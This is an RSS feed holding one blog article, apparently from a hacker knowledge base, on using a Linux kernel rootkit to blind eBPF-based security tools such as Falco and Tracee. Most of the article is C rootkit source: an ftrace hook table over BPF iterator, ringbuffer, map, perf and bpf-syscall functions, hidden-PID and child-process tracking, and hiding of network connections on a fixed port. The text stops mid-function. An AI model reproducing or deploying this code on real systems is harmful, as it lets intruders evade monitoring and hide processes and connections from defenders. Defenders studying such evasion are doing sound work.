<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Knowledge Base]]></title><description><![CDATA[Knowledge Base]]></description><link>https://iq.thc.org</link><generator>RSS for Node</generator><lastBuildDate>Fri, 17 Apr 2026 02:57:05 GMT</lastBuildDate><atom:link href="https://iq.thc.org/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Breaking eBPF Security: How Kernel Rootkits Blind Observability Tools]]></title><description><![CDATA[Stealthy Kernel Rootkit: https://github.com/MatheuZSecurity/Singularity
Rootkit Researchers: https://discord.gg/66N5ZQppU7
Author (MatheuZSecurity): https://www.linkedin.com/in/mathsalves/

Introduction
Linux security tooling has leaned heavily into ...]]></description><link>https://iq.thc.org/breaking-ebpf-security-how-kernel-rootkits-blind-observability-tools</link><guid isPermaLink="true">https://iq.thc.org/breaking-ebpf-security-how-kernel-rootkits-blind-observability-tools</guid><category><![CDATA[eBPF]]></category><category><![CDATA[Kernel]]></category><category><![CDATA[Security]]></category><category><![CDATA[defense evasion]]></category><dc:creator><![CDATA[extencil]]></dc:creator><pubDate>Sat, 14 Feb 2026 06:35:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1771083649615/f9920b11-5778-4bd1-a353-ff1f0ccf1dd0.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Stealthy Kernel Rootkit: <a target="_blank" href="https://github.com/MatheuZSecurity/Singularity">https://github.com/MatheuZSecurity/Singularity</a></p>
<p>Rootkit Researchers: <a target="_blank" href="https://discord.gg/66N5ZQppU7">https://discord.gg/66N5ZQppU7</a></p>
<p>Author (<strong>MatheuZSecurity</strong>): <a target="_blank" href="https://www.linkedin.com/in/mathsalves/">https://www.linkedin.com/in/mathsalves/</a></p>
<hr />
<h1 id="heading-introduction">Introduction</h1>
<p>Linux security tooling has leaned heavily into eBPF. Projects like Falco, Tracee, and Tetragon made kernel-level telemetry feel like a step change: richer context, low overhead, and visibility that’s difficult to evade from user space.</p>
<p>But that promise quietly depends on a threat model: the kernel is assumed to be a trustworthy observer.</p>
<p>This article explores what happens when that assumption breaks, specifically, when an attacker can execute code in the kernel (e.g., via a loaded module). In that world, the most valuable targets aren’t the eBPF programs themselves, but the plumbing around them: iterators, event delivery paths (ring buffer / perf buffer), perf submission, and map operations that turn kernel activity into user-space signals.</p>
<p>All research is strictly for educational purposes.</p>
<h1 id="heading-table-of-contents">Table of Contents</h1>
<ul>
<li><p><a class="post-section-overview" href="#introduction">Introduction</a></p>
</li>
<li><p><a class="post-section-overview" href="#the-ebpf-security-landscape">The eBPF Security Landscape</a></p>
<ul>
<li><p><a class="post-section-overview" href="#how-ebpf-security-works">How eBPF Security Works</a></p>
</li>
<li><p><a class="post-section-overview" href="#the-false-promise-of-kernel-observability">The False Promise of Kernel Observability</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#understanding-the-attack-surface">Understanding the Attack Surface</a></p>
<ul>
<li><p><a class="post-section-overview" href="#bpf-iterators">BPF Iterators</a></p>
</li>
<li><p><a class="post-section-overview" href="#bpf-ringbuffers">BPF Ringbuffers</a></p>
</li>
<li><p><a class="post-section-overview" href="#perf-events">Perf Events</a></p>
</li>
<li><p><a class="post-section-overview" href="#bpf-maps">BPF Maps</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#bypassing-ebpf-security-technical-implementation">Bypassing eBPF Security: Technical Implementation</a></p>
<ul>
<li><p><a class="post-section-overview" href="#hook-architecture">Hook Architecture</a></p>
</li>
<li><p><a class="post-section-overview" href="#process-and-network-hiding">Process and Network Hiding</a></p>
</li>
<li><p><a class="post-section-overview" href="#intercepting-bpf-iterators">Intercepting BPF Iterators</a></p>
</li>
<li><p><a class="post-section-overview" href="#filtering-ringbuffer-events">Filtering Ringbuffer Events</a></p>
</li>
<li><p><a class="post-section-overview" href="#blocking-perf-event-submission">Blocking Perf Event Submission</a></p>
</li>
<li><p><a class="post-section-overview" href="#manipulating-bpf-maps">Manipulating BPF Maps</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#real-world-bypass-results">Real-World Bypass Results</a></p>
<ul>
<li><p><a class="post-section-overview" href="#falco-evasion">Falco Evasion</a></p>
</li>
<li><p><a class="post-section-overview" href="#tracee-evasion">Tracee Evasion</a></p>
</li>
<li><p><a class="post-section-overview" href="#additional-tools">Additional Tools</a></p>
</li>
</ul>
</li>
<li><p><a class="post-section-overview" href="#conclusion">Conclusion</a></p>
</li>
</ul>
<h1 id="heading-the-ebpf-security-landscape">The eBPF Security Landscape</h1>
<h2 id="heading-how-ebpf-security-works">How eBPF Security Works</h2>
<p>eBPF (extended Berkeley Packet Filter) has revolutionized Linux observability and security. Modern security tools leverage eBPF to monitor kernel events in real-time without modifying kernel code or loading traditional kernel modules.</p>
<p><a target="_blank" href="https://mermaid.live/edit#pako:eNptktuO0zAQhl9l5N5mS9JNmzSgldJGK6HdStUWbiBcuM7koLp2NHYEparEFQ_AI_Bo-yS4yR4BR7Lm9_j_JrbnyIQukCWslPqrqDlZuL3LFYDpthXxtoYbJIUSNi0XeE4ApJ9zhov1NaxJuz17A6m1XNRYvNvSm6vNwQgupYH7H7_hpiW9xSG-3axy9mVgLBzjgZxxy2FjqRO2IzQ9471F4lbTYLxrVLXtyj5eIw3BirfmCbd8xt3__AUfDRJ8IK5Mq8n2xH8YKRE_DFJL6bIPMFRFrl7dQE97cf7MFdug6KixB0grVHb46Wsuhe6JrrRAHEK0xCut_qancHFxBYt-XvZzNiSE5MZkWMIOykbKZFRG7is9Y0nvMBmJSETIPaGlpmQUBMHbV67u0dWPZ1cpymL2Xxek3sJbwu7FSgadU8xjFTUFS9zboMf2SHt-lux43pkzW-Mec5a4sOC0y1muTs7TcvVJ6_2jjXRX1SwpuTROdW3BLWYNPzfO0yq5a0Fa6k5ZlgSTybynsOTIvjkdxePwMp5e-rNgPouj-cRjB5aEwTj2p0Ho-9Fk6ocnj33vq_rjOJr6bkznMz-chWHsMSwa10yrodP7hj_9AeJe_Hc"><img src="https://mermaid.ink/img/pako:eNptktuO0zAQhl9l5N5mS9JNmzSgldJGK6HdStUWbiBcuM7koLp2NHYEparEFQ_AI_Bo-yS4yR4BR7Lm9_j_JrbnyIQukCWslPqrqDlZuL3LFYDpthXxtoYbJIUSNi0XeE4ApJ9zhov1NaxJuz17A6m1XNRYvNvSm6vNwQgupYH7H7_hpiW9xSG-3axy9mVgLBzjgZxxy2FjqRO2IzQ9471F4lbTYLxrVLXtyj5eIw3BirfmCbd8xt3__AUfDRJ8IK5Mq8n2xH8YKRE_DFJL6bIPMFRFrl7dQE97cf7MFdug6KixB0grVHb46Wsuhe6JrrRAHEK0xCut_qancHFxBYt-XvZzNiSE5MZkWMIOykbKZFRG7is9Y0nvMBmJSETIPaGlpmQUBMHbV67u0dWPZ1cpymL2Xxek3sJbwu7FSgadU8xjFTUFS9zboMf2SHt-lux43pkzW-Mec5a4sOC0y1muTs7TcvVJ6_2jjXRX1SwpuTROdW3BLWYNPzfO0yq5a0Fa6k5ZlgSTybynsOTIvjkdxePwMp5e-rNgPouj-cRjB5aEwTj2p0Ho-9Fk6ocnj33vq_rjOJr6bkznMz-chWHsMSwa10yrodP7hj_9AeJe_Hc?type=png" alt /></a></p>
<p><strong>Key Components:</strong></p>
<ol>
<li><p><strong>eBPF Programs</strong>: Sandboxed code running in kernel context, attached to various kernel events (syscalls, tracepoints, kprobes)</p>
</li>
<li><p><strong>BPF Maps</strong>: Kernel data structures for sharing information between eBPF programs and userspace</p>
</li>
<li><p><strong>Ringbuffers/Perf Events</strong>: Efficient mechanisms for streaming event data from kernel to userspace</p>
</li>
<li><p><strong>BPF Iterators</strong>: New mechanism for efficiently iterating over kernel objects (processes, network connections, etc.)</p>
</li>
</ol>
<p><strong>Security Tools Using eBPF:</strong></p>
<ul>
<li><p><strong>Falco</strong>: Runtime security monitoring, detects anomalous behavior</p>
</li>
<li><p><strong>Tracee</strong>: System call and event tracing for security analysis</p>
</li>
<li><p><strong>Tetragon</strong>: Policy enforcement and security observability</p>
</li>
<li><p><strong>Cilium</strong>: Network security and observability</p>
</li>
<li><p><strong>GhostScan</strong>: Rootkit detection via memory scanning</p>
</li>
<li><p><strong>Decloaker</strong>: Hidden process detection</p>
</li>
</ul>
<h2 id="heading-the-false-promise-of-kernel-observability">The False Promise of Kernel Observability</h2>
<p>The security community believed eBPF solved a fundamental problem: how do you monitor a system that an attacker controls? The answer seemed obvious: use kernel-level observability that attackers cannot evade.</p>
<p>This assumption contains a critical flaw.</p>
<p><strong>The Fundamental Problem:</strong></p>
<p>eBPF programs execute <strong>inside</strong> the kernel they are trying to observe, while the detection pipeline depends on kernel → userspace delivery (ring buffers/perf buffers/iterators) and userspace policy engines. If an attacker gains the ability to load a kernel module (via root access and disabled Secure Boot / unenforced module signing), they can modify the kernel’s behavior and selectively disrupt what those eBPF programs and collectors are able to see.</p>
<p><strong>Why This Matters:</strong></p>
<ul>
<li><p>eBPF programs cannot protect themselves from kernel-level manipulation</p>
</li>
<li><p>eBPF verifier only ensures memory safety, not security guarantees</p>
</li>
<li><p>All eBPF data flow mechanisms (iterators, ringbuffers, maps) are implemented as kernel functions</p>
</li>
<li><p>Kernel functions can be hooked via ftrace</p>
</li>
</ul>
<p>The moment an attacker has kernel-level access, observability becomes optional.</p>
<h1 id="heading-understanding-the-attack-surface">Understanding the Attack Surface</h1>
<p><a target="_blank" href="https://mermaid.live/edit#pako:eNpt0ltvmzAUAOC_Yp28bBJFkJBAPGlSExJp6ipFXffSsQcH7IAAGx3MLo3y33dM10Rqw4Nlf-diS5wj5KaQwEE15ndeCrTs60OmGeuH_QFFV7I7iVo27FsncukCjN3-yECudlu2Q0M5bZ_Bz5fIiiJfrERhDV50TfpQ6QNbDUpJPHtKvpOo2OaX1PaSvyG_F90FtgTfe4nsEYXuO4P2f0jqItNuc_t45y4xxtaVZR-URXotK42p-49j7pjEbm4-s9W4bi-wfgvpW9i8giOq98fOzCekix2ur2F6DTfXcPseHeeN6PtUKiZszVTVNHwSi1BN915v0dSST6J9oMLYy01jkE-UUp_Oda6NKyQBDw5YFcAtDtKDVmIr3BGOLjsDW8pWZsBpWwisM8j0iWo6oZ-MaV_L0AyHErgSTU-noSuElWkl3AScFemPSFybQVvg4TSOxy7Aj_AHeBL40SyZzwJagnCeUPAv6cxPgnkYxctwOV0uZicPnsdbAz-J5wF98-UiiBZRlHggi4pG6_5lZMfJPf0D9aLPvQ"><img src="https://mermaid.ink/img/pako:eNpt0ltvmzAUAOC_Yp28bBJFkJBAPGlSExJp6ipFXffSsQcH7IAAGx3MLo3y33dM10Rqw4Nlf-diS5wj5KaQwEE15ndeCrTs60OmGeuH_QFFV7I7iVo27FsncukCjN3-yECudlu2Q0M5bZ_Bz5fIiiJfrERhDV50TfpQ6QNbDUpJPHtKvpOo2OaX1PaSvyG_F90FtgTfe4nsEYXuO4P2f0jqItNuc_t45y4xxtaVZR-URXotK42p-49j7pjEbm4-s9W4bi-wfgvpW9i8giOq98fOzCekix2ur2F6DTfXcPseHeeN6PtUKiZszVTVNHwSi1BN915v0dSST6J9oMLYy01jkE-UUp_Oda6NKyQBDw5YFcAtDtKDVmIr3BGOLjsDW8pWZsBpWwisM8j0iWo6oZ-MaV_L0AyHErgSTU-noSuElWkl3AScFemPSFybQVvg4TSOxy7Aj_AHeBL40SyZzwJagnCeUPAv6cxPgnkYxctwOV0uZicPnsdbAz-J5wF98-UiiBZRlHggi4pG6_5lZMfJPf0D9aLPvQ?type=png" alt /></a></p>
<p>Before we can bypass eBPF security, we need to understand how these tools collect data. Let’s examine each mechanism.</p>
<h2 id="heading-bpf-iterators">BPF Iterators</h2>
<p>BPF iterators allow eBPF programs to efficiently walk kernel data structures. Security tools use iterators to enumerate processes, network connections, and other kernel objects.</p>
<p><strong>Iterator Flow:</strong></p>
<pre><code class="lang-ini">Kernel Data (tasks, sockets) 
    -&gt; bpf_iter_run_prog()
        -&gt; eBPF iterator program
            -&gt; bpf_seq_write() / bpf_seq_printf()
                -&gt; Userspace reads via seq_file
</code></pre>
<p><strong>Key Functions:</strong></p>
<ul>
<li><p><code>bpf_iter_run_prog()</code>: Executes the eBPF iterator program for each kernel object</p>
</li>
<li><p><code>bpf_seq_write()</code>: Writes data to the seq_file buffer</p>
</li>
<li><p><code>bpf_seq_printf()</code>: Formatted output to seq_file buffer</p>
</li>
</ul>
<p><strong>Security Tools Using Iterators:</strong></p>
<ul>
<li><p>GhostScan uses task iterators to detect hidden processes</p>
</li>
<li><p>Decloaker uses network iterators to find hidden connections</p>
</li>
<li><p>Custom security tools use iterators for forensic analysis</p>
</li>
</ul>
<h2 id="heading-bpf-ringbuffers">BPF Ringbuffers</h2>
<p>Ringbuffers are the modern replacement for perf buffers, providing efficient event streaming from kernel to userspace with better performance and ordering guarantees.</p>
<p><strong>Ringbuffer Flow:</strong></p>
<pre><code class="lang-ini">Kernel Event
    -&gt; eBPF program
        -&gt; bpf_ringbuf_reserve()
            -&gt; bpf_ringbuf_submit() or bpf_ringbuf_output()
                -&gt; Userspace reads events
</code></pre>
<p><strong>Key Functions:</strong></p>
<ul>
<li><p><code>bpf_ringbuf_reserve()</code>: Allocates space in the ringbuffer</p>
</li>
<li><p><code>bpf_ringbuf_submit()</code>: Commits reserved data to the ringbuffer</p>
</li>
<li><p><code>bpf_ringbuf_output()</code>: One-shot write to ringbuffer</p>
</li>
</ul>
<p><strong>Security Tools Using Event Delivery Mechanisms:</strong></p>
<ul>
<li><p><strong>Falco (modern eBPF probe)</strong>: Uses BPF ring buffer (BPF_MAP_TYPE_RINGBUF) for kernel→userspace event delivery (driver/config dependent).</p>
</li>
<li><p><strong>Tracee</strong>: Uses perfbuffer/perf ring buffers as its primary kernel→userspace event delivery mechanism (and can vary by version/implementation).</p>
</li>
<li><p><strong>Tetragon</strong>: Uses kernel→userspace buffering mechanisms (e.g., ring buffer / perf-based buffers) depending on the component and version.</p>
</li>
</ul>
<p>Note: “Perf event arrays” and “BPF ring buffers” are different mechanisms - the former is per-CPU and older, while the latter is shared across CPUs and more efficient.</p>
<h2 id="heading-perf-events">Perf Events</h2>
<p>Perf events are the traditional mechanism for streaming kernel data to userspace. While older than ringbuffers, many tools still use them.</p>
<p><strong>Perf Event Flow:</strong></p>
<pre><code class="lang-ini">Kernel Event
    -&gt; eBPF program
        -&gt; perf_event_output()
            -&gt; perf_trace_run_bpf_submit()
                -&gt; Userspace reads perf buffer
</code></pre>
<p><strong>Key Functions:</strong></p>
<ul>
<li><p><code>perf_event_output()</code>: Writes event to perf buffer</p>
</li>
<li><p><code>perf_trace_run_bpf_submit()</code>: Submits tracepoint data to eBPF programs</p>
</li>
</ul>
<p><strong>Security Tools Using Perf Events:</strong></p>
<ul>
<li><p>Legacy Falco versions</p>
</li>
<li><p>Custom monitoring tools</p>
</li>
<li><p>Kernel tracing utilities</p>
</li>
</ul>
<h2 id="heading-bpf-maps">BPF Maps</h2>
<p>BPF maps are kernel data structures that store state and allow communication between eBPF programs and userspace.</p>
<p><strong>Map Operations:</strong></p>
<pre><code class="lang-ini">eBPF program or userspace
    -&gt; bpf_map_lookup_elem()
    -&gt; bpf_map_update_elem()
    -&gt; bpf_map_delete_elem()
        -&gt; Kernel map data structure
</code></pre>
<p><strong>Key Functions:</strong></p>
<ul>
<li><p><code>bpf_map_lookup_elem()</code>: Retrieve value from map</p>
</li>
<li><p><code>bpf_map_update_elem()</code>: Insert or update map entry</p>
</li>
<li><p><code>bpf_map_delete_elem()</code>: Remove map entry</p>
</li>
</ul>
<p><strong>Security Use Cases:</strong></p>
<ul>
<li><p>Storing process metadata</p>
</li>
<li><p>Tracking network connections</p>
</li>
<li><p>Maintaining allow/deny lists</p>
</li>
<li><p>Sharing data between eBPF programs</p>
</li>
</ul>
<h1 id="heading-bypassing-ebpf-security-technical-implementation">Bypassing eBPF Security: Technical Implementation</h1>
<p>Now that we understand how eBPF security works, let’s examine how to systematically blind it.</p>
<h2 id="heading-hook-architecture">Hook Architecture</h2>
<p>Our approach uses ftrace to hook critical BPF functions. Ftrace allows dynamic tracing of kernel functions without modifying kernel code, making it perfect for interception.</p>
<p><a target="_blank" href="https://mermaid.live/edit#pako:eNplk2FvmzAQhv-K5XylGQESCJsqLWknRV2kKOqHaWNCBs4EBWx22G3SKP99xkkTNeWLudf3vHc-8IHmsgAaU17L13zDUJHnWSII-f789CehT4ACarKWUm0rRRZCAebQqkoK8pPtARP6NxHnfHJ3d08WhlqYLKYkdt8y_HKftTytjJKiFmmLsryoHfxLX9HsfVBarITi1vhquza260qUZKY5B7wAJrfMtFmhA3yBT3qns6ZSn2SpVavVTY2VqbEC5OTxBYQ6Nd-aOIU-PjNXVSHLwR7Kdm4L3TgujeNs9YMsWXudRcPatJZyq9sUamg-6LotmAKr31j9MlaPO8i1nf2KqY0FU1u8n2rfyQ0zN8xcCoWyJquaCTgju0mQdvuuR89KxXzvXbp80rxmXfcAnDC1Jbyq63gQshH3MqczlluIB0Hm8lHo5LKWGA84518vnG3CgEahDi2xKmisUINDG8CG9SE99NkJVRtoIKGxeS0YbhOaiKNhWiZ-S9m8Yyh1uaExZ3VnotOgHipWImsuKoIoAOdSC0XjkTcNrQuND3RH48l4GPjR2PN8fxK6fhQ4dG-ypt4wcscjL4h8d-qPPO_o0Ddb1x1G4dg1z3g6cYNJEEQOhaIyP_bydGfs1Tn-B4drFvg"><img src="https://mermaid.ink/img/pako:eNplk2FvmzAQhv-K5XylGQESCJsqLWknRV2kKOqHaWNCBs4EBWx22G3SKP99xkkTNeWLudf3vHc-8IHmsgAaU17L13zDUJHnWSII-f789CehT4ACarKWUm0rRRZCAebQqkoK8pPtARP6NxHnfHJ3d08WhlqYLKYkdt8y_HKftTytjJKiFmmLsryoHfxLX9HsfVBarITi1vhquza260qUZKY5B7wAJrfMtFmhA3yBT3qns6ZSn2SpVavVTY2VqbEC5OTxBYQ6Nd-aOIU-PjNXVSHLwR7Kdm4L3TgujeNs9YMsWXudRcPatJZyq9sUamg-6LotmAKr31j9MlaPO8i1nf2KqY0FU1u8n2rfyQ0zN8xcCoWyJquaCTgju0mQdvuuR89KxXzvXbp80rxmXfcAnDC1Jbyq63gQshH3MqczlluIB0Hm8lHo5LKWGA84518vnG3CgEahDi2xKmisUINDG8CG9SE99NkJVRtoIKGxeS0YbhOaiKNhWiZ-S9m8Yyh1uaExZ3VnotOgHipWImsuKoIoAOdSC0XjkTcNrQuND3RH48l4GPjR2PN8fxK6fhQ4dG-ypt4wcscjL4h8d-qPPO_o0Ddb1x1G4dg1z3g6cYNJEEQOhaIyP_bydGfs1Tn-B4drFvg?type=png" alt /></a></p>
<p><strong>Hooked Functions:</strong></p>
<pre><code class="lang-c"><span class="hljs-keyword">static</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">ftrace_hook</span> <span class="hljs-title">hooks</span>[] = {</span>
    <span class="hljs-comment">// BPF Iterator Hooks</span>
    HOOK(<span class="hljs-string">"bpf_iter_run_prog"</span>, hook_bpf_iter_run_prog, &amp;orig_bpf_iter_run_prog),
    HOOK(<span class="hljs-string">"bpf_seq_write"</span>, hook_bpf_seq_write, &amp;orig_bpf_seq_write),
    HOOK(<span class="hljs-string">"bpf_seq_printf"</span>, hook_bpf_seq_printf, &amp;orig_bpf_seq_printf),

    <span class="hljs-comment">// BPF Ringbuffer Hooks</span>
    HOOK(<span class="hljs-string">"bpf_ringbuf_output"</span>, hook_bpf_ringbuf_output, &amp;orig_bpf_ringbuf_output),
    HOOK(<span class="hljs-string">"bpf_ringbuf_reserve"</span>, hook_bpf_ringbuf_reserve, &amp;orig_bpf_ringbuf_reserve),
    HOOK(<span class="hljs-string">"bpf_ringbuf_submit"</span>, hook_bpf_ringbuf_submit, &amp;orig_bpf_ringbuf_submit),

    <span class="hljs-comment">// BPF Map Hooks</span>
    HOOK(<span class="hljs-string">"bpf_map_lookup_elem"</span>, hook_bpf_map_lookup_elem, &amp;orig_bpf_map_lookup_elem),
    HOOK(<span class="hljs-string">"bpf_map_update_elem"</span>, hook_bpf_map_update_elem, &amp;orig_bpf_map_update_elem),

    <span class="hljs-comment">// Perf Event Hooks</span>
    HOOK(<span class="hljs-string">"perf_event_output"</span>, hook_perf_event_output, &amp;orig_perf_event_output),
    HOOK(<span class="hljs-string">"perf_trace_run_bpf_submit"</span>, hook_perf_trace_run_bpf_submit, 
         &amp;orig_perf_trace_run_bpf_submit),

    <span class="hljs-comment">// BPF Program Execution</span>
    HOOK(<span class="hljs-string">"__bpf_prog_run"</span>, hook_bpf_prog_run, &amp;orig_bpf_prog_run),

    <span class="hljs-comment">// BPF Syscall</span>
    HOOK(<span class="hljs-string">"__x64_sys_bpf"</span>, hook_bpf, &amp;orig_bpf),
    HOOK(<span class="hljs-string">"__ia32_sys_bpf"</span>, hook_bpf_ia32, &amp;orig_bpf_ia32),
};
</code></pre>
<p><strong>Why This Works:</strong></p>
<ol>
<li><p><strong>Kernel-level access</strong>: Once loaded, the rootkit runs at ring 0 with full privileges</p>
</li>
<li><p><strong>Ftrace hooking</strong>: Operates below eBPF programs, allowing us to filter their data sources</p>
</li>
<li><p><strong>No eBPF involvement</strong>: We’re not fighting eBPF, we’re cutting off its inputs</p>
</li>
<li><p><strong>Selective filtering</strong>: Only hide specific processes/connections, not everything</p>
</li>
</ol>
<h2 id="heading-process-and-network-hiding">Process and Network Hiding</h2>
<p>The rootkit maintains lists of hidden PIDs and network connections. Child process tracking ensures that when you hide a shell, all spawned processes also remain hidden.</p>
<p><strong>Hidden PID Management:</strong></p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MAX_HIDDEN_PIDS 32</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MAX_CHILD_PIDS (MAX_HIDDEN_PIDS * 128)</span>

<span class="hljs-keyword">extern</span> <span class="hljs-keyword">int</span> hidden_pids[MAX_HIDDEN_PIDS];
<span class="hljs-keyword">extern</span> <span class="hljs-keyword">int</span> hidden_count;
<span class="hljs-keyword">extern</span> <span class="hljs-keyword">int</span> child_pids[MAX_CHILD_PIDS];
<span class="hljs-keyword">extern</span> <span class="hljs-keyword">int</span> child_count;

<span class="hljs-function">notrace <span class="hljs-keyword">void</span> <span class="hljs-title">add_hidden_pid</span><span class="hljs-params">(<span class="hljs-keyword">int</span> pid)</span> </span>{
    <span class="hljs-keyword">int</span> i;
    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; hidden_count; i++) {
         <span class="hljs-keyword">if</span> (hidden_pids[i] == pid)
             <span class="hljs-keyword">return</span>;
    }
    <span class="hljs-keyword">if</span> (hidden_count &lt; MAX_HIDDEN_PIDS) {
        hidden_pids[hidden_count++] = pid;
    }
}

<span class="hljs-function">notrace <span class="hljs-keyword">int</span> <span class="hljs-title">is_hidden_pid</span><span class="hljs-params">(<span class="hljs-keyword">int</span> pid)</span> </span>{
    <span class="hljs-keyword">int</span> i;
    <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; hidden_count; i++) {
         <span class="hljs-keyword">if</span> (hidden_pids[i] == pid)
             <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
    }
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p><strong>Child Process Tracking:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">bool</span> <span class="hljs-title">is_child_of_hidden_process</span><span class="hljs-params">(<span class="hljs-keyword">int</span> pid)</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">task_struct</span> *<span class="hljs-title">task</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">task_struct</span> *<span class="hljs-title">parent</span>;</span>
    <span class="hljs-keyword">int</span> depth = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">int</span> max_depth = <span class="hljs-number">10</span>;
    <span class="hljs-keyword">bool</span> hidden = <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">if</span> (pid &lt;= <span class="hljs-number">0</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">if</span> (should_hide_pid_by_int(pid))
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;

    rcu_read_lock();

    task = pid_task(find_vpid(pid), PIDTYPE_PID);

    <span class="hljs-keyword">if</span> (!task) {
        rcu_read_unlock();
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    parent = task;
    <span class="hljs-keyword">while</span> (parent &amp;&amp; depth &lt; max_depth) {
        <span class="hljs-keyword">if</span> (parent-&gt;pid &lt;= <span class="hljs-number">0</span>)
            <span class="hljs-keyword">break</span>;

        parent = rcu_dereference(parent-&gt;real_parent);

        <span class="hljs-keyword">if</span> (!parent || parent-&gt;pid &lt;= <span class="hljs-number">1</span>)
            <span class="hljs-keyword">break</span>;

        <span class="hljs-keyword">if</span> (should_hide_pid_by_int(parent-&gt;pid)) {
            hidden = <span class="hljs-literal">true</span>;
            <span class="hljs-keyword">break</span>;
        }

        depth++;
    }

    rcu_read_unlock();
    <span class="hljs-keyword">return</span> hidden;
}
</code></pre>
<p><strong>Network Connection Hiding:</strong></p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> HIDDEN_PORT 8081</span>

<span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">bool</span> <span class="hljs-title">should_hide_socket_port</span><span class="hljs-params">(struct sock_common *sk)</span>
</span>{
    __be16 sport, dport;
    __be32 saddr, daddr;

    <span class="hljs-keyword">if</span> (!sk)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

    init_hidden_ip();

    <span class="hljs-keyword">if</span> (sk-&gt;skc_family == AF_INET) {
        sport = sk-&gt;skc_num;
        dport = sk-&gt;skc_dport;
        saddr = sk-&gt;skc_rcv_saddr;
        daddr = sk-&gt;skc_daddr;

        <span class="hljs-keyword">if</span> (sport == HIDDEN_PORT || ntohs(dport) == HIDDEN_PORT) {
            <span class="hljs-keyword">if</span> (saddr == hidden_ip_cached || daddr == hidden_ip_cached ||
                saddr == htonl(INADDR_ANY) || daddr == htonl(INADDR_ANY)) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
            }
        }
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (sk-&gt;skc_family == AF_INET6) {
        sport = sk-&gt;skc_num;

        <span class="hljs-keyword">if</span> (sport == HIDDEN_PORT) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
    }

    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
}
</code></pre>
<h2 id="heading-intercepting-bpf-iterators">Intercepting BPF Iterators</h2>
<p>BPF iterators allow tools like GhostScan and Decloaker to enumerate kernel objects. By hooking the iterator execution, we can selectively filter results.</p>
<p><strong>Iterator Context Structures:</strong></p>
<pre><code class="lang-c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_ctx_tcp</span> {</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_meta</span> *<span class="hljs-title">meta</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sock_common</span> *<span class="hljs-title">sk_common</span>;</span>
    <span class="hljs-keyword">uid_t</span> uid;
};

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_ctx_udp</span> {</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_meta</span> *<span class="hljs-title">meta</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">udp_sock</span> *<span class="hljs-title">udp_sk</span>;</span>
    <span class="hljs-keyword">uid_t</span> uid;
    <span class="hljs-keyword">int</span> bucket;
};

<span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_ctx_task</span> {</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_meta</span> *<span class="hljs-title">meta</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">task_struct</span> *<span class="hljs-title">task</span>;</span>
};
</code></pre>
<p><strong>Hooking bpf_iter_run_prog:</strong></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> notrace <span class="hljs-keyword">int</span> <span class="hljs-title">hook_bpf_iter_run_prog</span><span class="hljs-params">(struct bpf_prog *prog, <span class="hljs-keyword">void</span> *ctx)</span>
</span>{
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_ctx_tcp</span> *<span class="hljs-title">tcp_ctx</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_ctx_udp</span> *<span class="hljs-title">udp_ctx</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">bpf_iter_ctx_task</span> *<span class="hljs-title">task_ctx</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">sock_common</span> *<span class="hljs-title">sk</span>;</span>
    <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">udp_sock</span> *<span class="hljs-title">udp_sk</span>;</span>
